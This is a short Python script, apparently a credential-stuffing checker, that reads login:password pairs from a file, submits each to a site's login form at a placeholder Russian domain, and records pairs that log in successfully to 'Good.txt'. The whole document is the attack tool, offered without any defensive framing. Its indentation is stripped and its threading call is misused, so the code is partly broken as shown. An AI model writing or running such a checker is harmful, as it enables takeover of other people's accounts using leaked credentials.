import requests
from bs4 import BeautifulSoup as bs4
import time
import random
import threading
def check(login, password):
while True:
try:
ses = requests.Session()
page = ses.get("http://site.ru/?sign_in=1")
data = {"login": login, "pass": password}
login_req = ses.post("http://site.ru/", data=data)
if "Настройки" in login_req.text:
open("Good.txt", "a", encoding="utf-8").write("Ник:{} Пароль:{}\n".format(login, password))
print("Ник:{} Пароль:{} - Good".format(login, password))
break
elif "Ошибка авторизации, логин или пароль введены неверно!" in login_req.text:
print("{}:{} Bad".format(login, password))
break
else:
print(login_req.text)
except Exception as e:
print(e)
for i in range(100):
base_file = open("site.txt", "r", encoding="utf-8")
accs = base_file.read().split('\n')
base_file.close()
while (len(accs) > 0):
base_file = open("site.txt", "r", encoding="utf-8")
accs = base_file.read().split('\n')
base_file.close()
account = accs.pop(0)
accs_content = "\n".join(accs)
base_file = open("site.txt", "w", encoding="utf-8")
base_file.write(accs_content)
base_file.close()
ln = account.split(':')
thread = threading.Thread(target=check(ln[0], ln[1]))
thread.start()